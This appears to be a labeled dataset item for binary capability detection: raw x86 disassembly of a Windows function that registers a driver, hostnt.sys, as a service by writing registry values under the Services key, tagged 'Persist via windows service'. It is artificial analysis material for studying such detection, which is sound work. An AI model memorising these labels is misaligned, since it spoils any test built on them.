Function at 0x1000a0d0
Capabilities:
Persist via windows service
Set registry value

Disassembly:
sub esp, 0x210
mov edx, ecx
or ecx, 0xffffffff
xor eax, eax
push ebx
push ebp
push esi
push edi
lea edi, [edx + 4]
xor ebx, ebx
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea ebp, [esp + 0x120]
mov eax, ecx
mov esi, edi
shr ecx, 2
mov edi, ebp
lea ebp, [esp + 0x120]
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.drivers
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, ebp
mov ebp, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea ebp, [esp + 0x120]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.hostnt.sys
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, ebp
mov ebp, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x120]
push ecx
push str.164
mov ecx, edx
call fcn.1000bf10
test eax, eax
jne 0x1000a182
mov ebx, 0xbbb
lea edx, [esp + 0x18]
push edx
push 0xf003f
push 0
push str.SystemCurrentControlSetServices
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x1000a1a7
mov ebx, 0xbbc
lea eax, [esp + 0x1c]
mov edx, dword [esp + 0x18]
lea ecx, [esp + 0x10]
push eax
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
push str.HOSTNT
push edx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
je 0x1000a1d7
mov ebx, 0xbbc
lea edi, [esp + 0x20]
or ecx, 0xffffffff
xor eax, eax
mov byte [esp + 0x20], 0
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov esi, 2
mov ebp, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
add ecx, esi
lea eax, [esp + 0x20]
push ecx
mov ecx, dword [esp + 0x14]
push eax
push 7
push 0
push str.DependOnGroup
push ecx
call ebp
test eax, eax
je 0x1000a216
mov ebx, 0xbbc
lea edi, [esp + 0x20]
or ecx, 0xffffffff
xor eax, eax
mov byte [esp + 0x20], 0
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edx, [esp + 0x20]
add ecx, esi
push ecx
push edx
push 7
push eax
mov eax, dword [esp + 0x20]
push str.DependOnService
push eax
call ebp
test eax, eax
je 0x1000a249
mov ebx, 0xbbc
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x14]
push 4
push ecx
push 4
push 0
push str.Type
push edx
mov dword [esp + 0x2c], 1
call ebp
test eax, eax
je 0x1000a271
mov ebx, 0xbbc
mov ecx, dword [esp + 0x10]
lea eax, [esp + 0x14]
push 4
push eax
push 4
push 0
push 0x10026b80
push ecx
mov dword [esp + 0x2c], esi
call ebp
test eax, eax
je 0x1000a295
mov ebx, 0xbbc
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x14]
push 4
push edx
push 4
push 0
push 0x10026b7c
push eax
mov dword [esp + 0x2c], esi
call ebp
test eax, eax
je 0x1000a2b9
mov ebx, 0xbbc
mov edi, str.Rainbow_Goldensoft
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x20]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
mov edx, dword [esp + 0x10]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x20]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
push ecx
lea ecx, [esp + 0x24]
push ecx
push 1
push eax
push str.Group
push edx
call ebp
test eax, eax
je 0x1000a30a
mov ebx, 0xbbc
mov ecx, dword [esp + 0x10]
lea eax, [esp + 0x14]
push 4
push eax
push 4
push 0
push str.ErrorControl
push ecx
mov dword [esp + 0x2c], 1
call ebp
test eax, eax
je 0x1000a332
mov ebx, 0xbbc
mov edx, dword [esp + 0x10]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push edx
call esi
test eax, eax
je 0x1000a348
mov ebx, 0xbbc
mov eax, dword [esp + 0x18]
push eax
call esi
test eax, eax
mov eax, 0xbbc
jne 0x1000a35a
mov eax, ebx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x210
ret 4